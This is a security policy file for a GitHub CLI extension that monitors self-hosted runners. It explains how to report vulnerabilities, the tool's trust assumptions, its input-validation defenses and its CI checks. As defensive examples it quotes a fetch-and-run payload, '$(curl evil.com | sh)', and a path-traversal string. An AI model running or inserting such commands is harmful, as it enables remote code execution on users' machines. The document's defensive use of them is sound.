Please do not open a public GitHub issue for security vulnerabilities.
Email the maintainer directly (see the commit log for the address) or use GitHub's private vulnerability reporting. I'll acknowledge within 48 hours and credit reporters in the changelog unless you prefer to remain anonymous.
gh-runner-status is a gh CLI extension. Anyone who installs it via gh extension install runs it with their own shell privileges. Concretely:
| Surface | Trust assumption |
|---|---|
gh CLI auth |
Caller has authenticated; we never prompt for tokens |
~/.config/gh-runner-status/repos |
Caller-trusted file; one repo per line |
~/.config/gh-runner-status/telegram |
Caller-trusted; parsed, never sourced |
TELEGRAM_BOT_TOKEN |
Sensitive — never logged, never on argv |
| Runner names from CLI args | Hostile-byte-treated; regex-validated |
| Repo names from CLI args | Hostile-byte-treated; regex-validated |
| Local launchctl/systemctl | Caller has the right to control their own services |
These are intentional design choices. If you spot a regression in any of them, that's a bug.
- Repo names are regex-validated before they reach
gh api(seevalidate_repo).owner/../../etc/passwdis rejected, not silently URL-encoded. - Runner names are regex-validated to match
actions.runner.<owner>-<repo>.<runner>exactly (seevalidate_runner_name). Names like--no-blockordefault.targetcannot reachlaunchctl/systemctl/tail. - Telegram config is parsed, not sourced. A malicious config file with
$(curl evil.com | sh)does nothing — onlyTELEGRAM_BOT_TOKENandTELEGRAM_CHAT_IDkeys are extracted. - Telegram bot token is sent via
curl --config -(stdin). It never lands in argv, whereps auxefrom another user could see it. - Telegram message body is sent via
data-urlencode "text@<tempfile>". Arbitrary content (newlines, quotes, backslashes) cannot break the curl config or the wire protocol. set -euo pipefailwith anEXITtrap for tmpdir cleanup. Failures don't mask silently.- No
eval, nobash -c "$user_input", nosourceof untrusted files.
- Compromise of
ghitself or the user's GitHub token (usegh auth status) - Compromise of the user's machine (we run in their shell context)
- DoS via setting
--thresholdorWATCH_INTERVALto absurd values (it's their machine)
Every PR runs:
shellcheck(lint)batstest suite on Ubuntu + macOSkcovcoverage (informational)
The master branch is protected: PRs only, CI must pass, no force-pushes, no deletions.